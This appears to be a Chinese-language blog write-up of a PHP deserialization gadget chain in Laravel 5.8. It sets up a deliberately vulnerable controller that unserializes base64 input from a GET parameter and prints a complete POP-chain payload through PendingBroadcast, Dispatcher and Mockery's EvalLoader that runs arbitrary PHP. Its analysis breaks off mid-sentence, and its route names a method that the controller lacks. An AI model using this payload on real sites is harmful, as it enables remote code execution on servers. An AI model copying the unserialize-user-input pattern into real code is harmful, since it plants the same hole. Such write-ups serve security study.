准备工作

下载安装composer,之后安装5.8版本Laravel

1
composer create-project --prefer-dist laravel/laravel blog "5.8.*"

laravel58/app/Http/Controllers/ 下添加路由

1
Route::get("/","\App\Http\Controllers\testController@test");

app/Http/Controllers/ 下添加 testController 控制器,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
namespace App\Http\Controllers;

class testController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = base64_decode($_GET['c']);
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

分析

PendingBroadcast.php类存在__destruct方法

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

$this->eventsIlluminate\Bus\Dispatcher

进入其dispatchToQueue方法,其存在call_user_func方法,因此我们可以执行任意类方法

1
2
3
4
5
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

$this->queueResolverarray(new Mockery\Loader\EvalLoader();,'load')$connectionnew Illuminate\Foundation\Console\QueuedCommand中初始化的变量new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');其存在getCode方法这里面还有些约束,算我太笨,只能看懂